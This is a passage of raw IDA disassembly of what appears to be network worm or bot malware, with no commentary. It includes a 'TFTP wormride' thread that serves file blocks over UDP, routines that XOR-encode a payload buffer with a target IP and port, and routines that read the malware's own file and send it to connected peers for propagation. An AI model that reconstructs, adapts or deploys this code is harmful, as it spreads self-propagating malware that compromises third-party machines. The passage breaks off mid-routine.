movsx eax, [ebp+var_19C] test eax, eax jnz loc_412396 movsx eax, [ebp+var_19B] cmp eax, 4 jnz loc_412396 mov al, [ebp+var_19A] mov [ebp+var_DA0], al mov al, [ebp+var_199] mov [ebp+var_D98], al and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 movzx eax, [ebp+var_D98] cmp eax, 0FFh jnz short loc_412242 mov al, [ebp+var_DA0] add al, 1 mov [ebp+var_DA0], al mov al, [ebp+var_DA0] mov [ebp+var_D6E], al and [ebp+var_D98], 0 mov al, [ebp+var_D98] mov [ebp+var_D6D], al jmp short loc_412268 ; --------------------------------------------------------------------------- loc_412242: ; CODE XREF: sub_411DC5+44Cj mov al, [ebp+var_DA0] mov [ebp+var_D6E], al mov al, [ebp+var_D98] add al, 1 mov [ebp+var_D98], al mov al, [ebp+var_D98] mov [ebp+var_D6D], al loc_412268: ; CODE XREF: sub_411DC5+47Bj movzx eax, [ebp+var_DA0] shl eax, 8 movzx ecx, [ebp+var_D98] lea eax, [eax+ecx-1] mov [ebp+var_D9C], eax push 0 mov eax, [ebp+var_D9C] shl eax, 9 push eax push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D94], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D94] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto cmp [ebp+var_D94], 0 jnz loc_412394 mov eax, [ebp+var_D9C] shl eax, 9 cmp eax, [ebp+var_4] jb loc_412394 mov eax, [ebp+var_D7C] mov [ebp+var_DA8], eax push [ebp+var_DA8] push offset dword_41EAE0 call sub_409C9D pop ecx pop ecx mov [ebp+var_DA4], eax mov eax, [ebp+var_DA4] cmp eax, [ebp+var_DA8] jz short loc_412394 push 1 push offset dword_41EAE4 call sub_409C88 pop ecx pop ecx mov [ebp+var_DAC], eax push 10h push [ebp+var_D7C] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_11C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_11C] push eax mov eax, [ebp+var_DAC] inc eax push eax push offset aWormride ; "wormride" push offset unk_41C730 push offset dword_41DA80 call sub_40D4AB add esp, 14h loc_412394: ; CODE XREF: sub_411DC5+52Dj ; sub_411DC5+53Fj ... jmp short loc_4123B8 ; --------------------------------------------------------------------------- loc_412396: ; CODE XREF: sub_411DC5+404j ; sub_411DC5+414j push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 9 push offset dword_41C724 push [ebp+var_108] call dword_417250 ; sendto loc_4123B8: ; CODE XREF: sub_411DC5+252j ; sub_411DC5:loc_4121BBj ... mov eax, [ebp+var_358] cmp dword ptr [eax+4], 0 jz short loc_4123C6 jmp short loc_4123CB ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_411DC5+5FDj jmp loc_411F66 ; --------------------------------------------------------------------------- loc_4123CB: ; CODE XREF: sub_411DC5+5FFj push [ebp+var_10C] call sub_416B82 ; fclose pop ecx push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax loc_4123F1: ; CODE XREF: sub_411DC5+53j ; sub_411DC5+F8j ... pop edi leave retn 4 sub_411DC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4123F6 proc near ; CODE XREF: sub_40A9CF+726p ; sub_40A9CF+742p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412410 jmp short locret_412446 ; --------------------------------------------------------------------------- loc_412410: ; CODE XREF: sub_4123F6+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aTftpWormrideTh ; "TFTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411DC5 call sub_4095A4 add esp, 10h locret_412446: ; CODE XREF: sub_4123F6+18j leave retn sub_4123F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412448 proc near ; CODE XREF: sub_4125DF+88p ; sub_4125DF+ADp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_41245A ; --------------------------------------------------------------------------- loc_412453: ; CODE XREF: sub_412448:loc_41249Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_41245A: ; CODE XREF: sub_412448+9j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_41249C and [ebp+var_8], 0 jmp short loc_41246F ; --------------------------------------------------------------------------- loc_412468: ; CODE XREF: sub_412448:loc_412498j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41246F: ; CODE XREF: sub_412448+1Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_C] jnb short loc_41249A mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_10] xor eax, ecx mov ecx, [ebp+arg_8] add ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_412498 push 1 pop eax jmp short locret_41249E ; --------------------------------------------------------------------------- loc_412498: ; CODE XREF: sub_412448+49j jmp short loc_412468 ; --------------------------------------------------------------------------- loc_41249A: ; CODE XREF: sub_412448+2Dj jmp short loc_412453 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_412448+18j xor eax, eax locret_41249E: ; CODE XREF: sub_412448+4Ej leave retn sub_412448 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4124A0 proc near ; CODE XREF: sub_4125DF+36p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 10h and [ebp+var_4], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 and [ebp+var_C], 0 cmp [ebp+arg_8], 1 jnz short loc_41250C cmp [ebp+arg_4], 0B2h jnb short loc_4124CC xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_4124CC: ; CODE XREF: sub_4124A0+23j mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C964 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 8Fh mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 88h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax jmp loc_41259C ; --------------------------------------------------------------------------- loc_41250C: ; CODE XREF: sub_4124A0+1Aj cmp [ebp+arg_8], 2 jnz short loc_412554 cmp [ebp+arg_4], 0C6h jnb short loc_412522 xor eax, eax jmp locret_4125DD ; --------------------------------------------------------------------------- loc_412522: ; CODE XREF: sub_4124A0+79j mov [ebp+var_C], 0C6h push [ebp+var_C] push offset dword_41C89C push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 89h mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0C0h mov [ebp+var_8], eax jmp short loc_41259C ; --------------------------------------------------------------------------- loc_412554: ; CODE XREF: sub_4124A0+70j cmp [ebp+arg_4], 0B2h jnb short loc_412561 xor eax, eax jmp short locret_4125DD ; --------------------------------------------------------------------------- loc_412561: ; CODE XREF: sub_4124A0+BBj mov [ebp+var_C], 0B2h push [ebp+var_C] push offset dword_41C7E8 push [ebp+arg_0] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+arg_0] add eax, 86h mov [ebp+var_4], eax mov eax, [ebp+arg_0] add eax, 8Dh mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 0ACh mov [ebp+var_8], eax loc_41259C: ; CODE XREF: sub_4124A0+67j ; sub_4124A0+B2j cmp [ebp+var_4], 0 jz short loc_4125B0 push [ebp+arg_C] call dword_417244 ; inet_addr mov ecx, [ebp+var_4] mov [ecx], eax loc_4125B0: ; CODE XREF: sub_4124A0+100j cmp [ebp+var_10], 0 jz short loc_4125CC push [ebp+arg_10] call sub_416B9C ; atoi pop ecx push eax call dword_417238 ; htons mov ecx, [ebp+var_10] mov [ecx], ax loc_4125CC: ; CODE XREF: sub_4124A0+114j cmp [ebp+var_8], 0 jz short loc_4125DA mov eax, [ebp+var_8] mov ecx, [ebp+arg_14] mov [eax], ecx loc_4125DA: ; CODE XREF: sub_4124A0+130j mov eax, [ebp+var_C] locret_4125DD: ; CODE XREF: sub_4124A0+27j ; sub_4124A0+7Dj ... leave retn sub_4124A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4125DF proc near ; CODE XREF: sub_410649+8Bp ; sub_410B52+41p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 1Ch cmp [ebp+arg_4], 1Ch jnb short loc_4125F2 xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_4125F2: ; CODE XREF: sub_4125DF+Aj mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_0] add eax, 1Ch mov [ebp+var_4], eax push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push 1E4h push [ebp+var_4] call sub_4124A0 add esp, 18h mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_41262D xor eax, eax jmp locret_41271E ; --------------------------------------------------------------------------- loc_41262D: ; CODE XREF: sub_4125DF+45j push 1Ch push offset loc_41C7C8 push [ebp+var_10] call sub_416B52 ; memcpy add esp, 0Ch mov eax, dword_41CB98 mov [ebp+var_8], eax jmp short loc_412659 ; --------------------------------------------------------------------------- loc_412649: ; CODE XREF: sub_4125DF+94j ; sub_4125DF:loc_41269Aj call sub_410422 mov [ebp+var_8], eax mov eax, [ebp+var_8] mov dword_41CB98, eax loc_412659: ; CODE XREF: sub_4125DF+68j push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_8] push eax call sub_412448 add esp, 14h test eax, eax jz short loc_412675 jmp short loc_412649 ; --------------------------------------------------------------------------- loc_412675: ; CODE XREF: sub_4125DF+92j mov eax, [ebp+var_14] xor eax, [ebp+var_8] mov [ebp+var_1C], eax push 0 push [ebp+arg_1C] push [ebp+arg_18] push 4 lea eax, [ebp+var_1C] push eax call sub_412448 add esp, 14h test eax, eax jnz short loc_41269A jmp short loc_41269C ; --------------------------------------------------------------------------- loc_41269A: ; CODE XREF: sub_4125DF+B7j jmp short loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset dword_418620 mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EAEC, 0 jnz loc_4128A0 mov dword_41EAEC, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA40[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA40[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EAF0, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EAF0, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset dword_41EC10 call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; sub_412D56+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; sub_412D56+3Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCCE[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCA8 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset dword_41DA80 call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: sub_41331E+148p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC40 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: sub_41331E+165p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC44 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EAF4 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CC48 push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; 